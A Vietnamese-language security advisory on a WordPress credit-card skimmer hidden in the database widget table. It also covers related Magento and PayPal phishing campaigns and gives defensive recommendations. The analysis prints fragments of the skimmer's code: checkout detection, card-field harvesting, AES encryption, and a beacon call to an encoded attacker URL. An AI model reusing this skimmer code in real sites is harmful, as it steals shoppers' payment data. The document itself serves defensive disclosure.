Cảnh báo: Mã độc skimmer mới nhắm vào người dùng WordPress để đánh cắp thẻ tín dụng
Tổng quan
Gần đây, các nhà nghiên cứu bảo mật thông tin phát hiện ra một hình thức tấn công mã độc skimmer mới đánh cắp thông tin thẻ tín dụng rất tinh vi, nhắm vào các website thương mại điện tử sử dụng WordPress. Kẻ tấn công sẽ chèn code JavaScript vào trong cơ sở dữ liệu liên quan đến hệ thống quản lý nội dung (Content Management System – CMS) để thực hiện đánh cắp thông tin thanh toán nhạy cảm như số thẻ tín dụng, ngày hết hạn, số CVV và thông tin thanh toán.
Cách thức tấn công
Theo Puja Srivastava, nghiên cứu viên đến từ Sucuri thì mã độc trên chỉ được kích hoạt thông qua trang thanh toán bằng cách đánh cắp dữ liệu từ trường thông tin thanh toán có sẵn hoặc là tạo một mẫu nhập thông tin thẻ tín dụng giả mạo.
Theo như công ty bảo mật thuộc GoDaddy thì họ đã phát hiện ra mã độc được nhúng vào bảng wp_options trong WordPress, cụ thể là ở hàng sau trong bảng:
- option_name: widget_block
- option_value: Chứa code JavaScript đã bị xáo trộn
Bằng cách chèn vào cơ sở dữ liệu chứ không phải tác động vào file thêm hoặc các plugin, mã độc này đã tránh bị phát hiện bởi các công cụ scan file thông thường, cho phép nó tồn tại âm thầm trên trang web WordPress bị tấn công. Để thực hiện tấn công, kẻ tấn công sẽ thông qua giao diện WordPress admin (wp-admin → widgets) để chèn mã JavaScript vào trong HTML block widget.
Đoạn script sau sẽ kiểm tra nếu URL của trang web có chứa chuỗi “checkout” mà không có chuỗi “cart”. Điều này đảm bảo rằng mã độc chỉ hoạt động khi người dùng chuẩn bị gửi thông tin thanh toán của họ.
const _0x232f96 = '/checkout';
if (window.location.toString().toLowerCase().search('' + _0x232f96) !== -1) {...}
Nó sẽ tạo một mẫu thanh toán giả mà sao chép giống với quá trình thanh toán chính thống. Trong mẫu đó sẽ có các trường số thẻ tín dụng, ngày hết hạn, số CVV và thông tin hóa đơn. Nếu như một mẫu thanh toán hợp lệ sẵn có trên trang web thì đoạn script sẽ thu thập thông tin nhập vào các trường sẵn có theo thời gian thực.
const fakeForm = '<div id="stripe-payment-form-wrap">...</div>';
Cách làm trên đảm bảo rằng người dùng không biết rằng đang cung cấp thông tin thanh toán nhạy cảm cho kẻ tấn công.
Bằng cách đánh cắp thông tin thanh toán từ các trường sẵn có thay vì tạo một mẫu thanh toán mới sẽ đảm bảo tương thích với nhiều hệ thống thanh toán khác nhau như script sau đây:
function _0x50efa4() {
_0x5ab8c6.Number = document.getElementById(_0x3c48c0)
? document.getElementById(_0x3c48c0).value.replaceAll(' ', '')
: ''
_0x5ab8c6.CVV = document.getElementById(_0x4cbdac)
? document.getElementById(_0x4cbdac).value
: ''
_0x5ab8c6.Expiration = document.getElementById(_0x526fa8)
? document.getElementById(_0x526fa8).value
: ''
_0x5ab8c6.Address = document.getElementById(_0x72d8fc)
? document.getElementById(_0x72d8fc).value
: ''
_0x5ab8c6.FullName = document.getElementById(_0x37276b)
? document.getElementById(_0x37276b).value
: ''
_0x5ab8c6.City = document.getElementById(_0x4e4454)
? document.getElementById(_0x4e4454).value
: ''
_0x5ab8c6.Zip = document.getElementById(_0x31755f)
? document.getElementById(_0x31755f).value
: ''
Và để không bị phát hiện đang đánh cắp, khó bị phân tích và truyền dữ liệu về máy chủ kẻ tấn công, mã độc sử dụng mã hóa Base64 kết hợp với mã hóa AES-CBC. Điều này làm cho dữ liệu trông vô hại khi truyền đi.
async function _0x233872(_0x521845, _0x5e6977, _0xd6a8ef) {
try {
var _0x5180cb = Uint8Array.from(atob(_0x521845), (_0x47cd28) =>
_0x47cd28.charCodeAt(0)
),
_0x25deba = Uint8Array.from(atob(_0x5e6977), (_0x45785d) =>
_0x45785d.charCodeAt(0)
),
_0x152dd3 = await crypto.subtle.importKey(
'raw',
_0x5180cb,
'AES-CBC',
false,
['encrypt']
),
_0x3f060d = await crypto.subtle.encrypt(
{
name: 'AES-CBC',
iv: _0x25deba,
},
_0x152dd3,
new TextEncoder().encode(_0xd6a8ef)
)
const _0x4d0c53 = btoa(
String.fromCharCode.apply(null, new Uint8Array(_0x3f060d))
)
return _0x4d0c53
} catch (_0x2dc142) {
throw _0x2dc142
}
}
}
Mã độc sau khi mã hóa và chuyển dữ liệu tới server kẻ tấn công bằng hàm navigator.sendBeacon để tránh gián đoạn trải nghiệm người dùng.
navigator.sendBeacon(atob('aHR0cHM6Ly92YWxoYWZhdGhlci54eXo='), encryptedData);
Thông tin các domain server như sau:
Các chiến dịch tấn công trước đó
Trước đó vào tháng 11 năm 2024, các nhà nghiên cứu tại Sucuri cũng đã phát hiện một chiến dịch tấn công tương tự sử dụng mã độc viết bằng JavaScript. Mã độc này tạo mẫu thông tin thẻ tín dụng giả mạo hoặc đánh cắp dữ liệu người dùng nhập vào trên trang thanh toán của trang web sử dụng Magento. Cách thức tấn công tương tự như với trang web sử dụng WordPress, điểm khác biệt là cách gây rối loạn thông tin thu thập được. Mã độc sử dụng trên Magento sẽ chuyển thông tin đánh cắp về dạng JSON, sau đó mã hóa XOR với key là “script“ rồi cuối cùng là mã hóa BASE64. Thông tin sau đó được gửi tới server staticfonts[.]com.
Một chiến dịch phishing cũng nhắm đến người dùng Paypal để chiếm quyền điều khiển account. Trong một báo cáo của Carl Windsor, CISO của Fortinet, chiến dịch phishing này rất là tinh vi, sử dụng URL của PayPal để lừa người dùng.
Theo đó, người dùng sẽ nhận được một email yêu cầu thanh toán gần 2.200$. Và khi nạn nhân thực hiện nhấn vào nút “Pay Now“ và nhập thông tin tài khoản PayPal, tài khoản sẽ được liên kết tới địa chỉ email kẻ tấn công. Điểm nguy hiểm của chiến dịch này là sử dụng địa chỉ email của PayPal ([email protected]) và chứa URL đăng nhập bình thường, khiến cho dễ dàng vượt qua các công cụ kiểm tra. Các email kẻ tấn công tạo ra cũng rất dễ dàng bằng cách đăng ký một domain test MS365, được miễn phí trong vòng 3 tháng.
Ngoài ra trong thời gian gần đây cũng có các trường hợp kẻ tấn công lợi dụng kỹ thuật mô phỏng giao dịch để đánh cắp tiền điện tử từ ví của nạn nhân, khiến cho việc phát hiện và phòng chống lừa đảo trên không gian mạng càng trở nên khó khăn.
Tác động
Kẻ tấn công sẽ sử dụng thông tin thẻ tín dụng bị đánh cắp để tài trợ cho các chiến dịch quảng cáo độc hại trên mạng xã hội, mua mã độc hoặc dịch vụ Malware-as-a-service (MaaS) hoặc mua các gift card bởi chúng rất khó bị theo dấu.
Hơn thế nữa, các doanh nghiệp, cá nhân kinh doanh cũng chịu ảnh hưởng không chỉ danh tiếng cũng như thiệt hại về kinh tế.
Khuyến nghị
Để phòng ngừa các cuộc tấn công trên, phía FPT Threat Intelligence khuyến nghị:
- Đối với trang web sử dụng WordPress, truy cập vào giao diện WordPress admin, vào wp-admin → Appeareance → Widgets. Sau đó kiểm tra toàn bộ các Custom HTML để tìm kiếm và xóa các tag <scripts> khả nghi.
- Thường xuyên cập nhật, vá các lỗ hổng trong các plugin và theme.
- Quản lý tài khoản admin chặt chẽ, sử dụng mật khẩu mạnh, xác thực đã yếu tố và thường xuyên thay đổi mật khẩu.
- Kiểm soát các thay đổi, tính toàn vẹn các file trên hệ thống để phát hiện các bất thường sớm nhất có thể.
- Triển khai các giải pháp bảo mật như Web Application Firewall (WAF) để phát hiện và ngăn chặn các đường truyền nguy hiển và ngăn chặn hành vi tấn công từ bên ngoài vào hệ thống.
- Đối với các hành vi phishing gần đây, người dùng cần phải cẩn trọng với các thông tin nhận được, kiểm tra kỹ nội dung thanh toán.
- Cần nâng cao nhận thức người dùng, thường xuyên diễn tập phishing với các hình thức mới và tinh vi hơn.
Tham khảo
- https://thehackernews.com/2025/01/wordpress-skimmers-evade-detection-by.html
- https://blog.sucuri.net/2025/01/stealthy-credit-card-skimmer-targets-wordpress-checkout-pages-via-database-injection.html
- https://blog.sucuri.net/2024/11/credit-card-skimmer-malware-targeting-magento-checkout-pages.html
- https://www.fortinet.com/blog/threat-research/phish-free-paypal-phishing
Bài viết độc quyền của chuyên gia FPT IS
Vũ Nhật Lâm – Trung tâm An toàn, bảo mật thông tin FPT |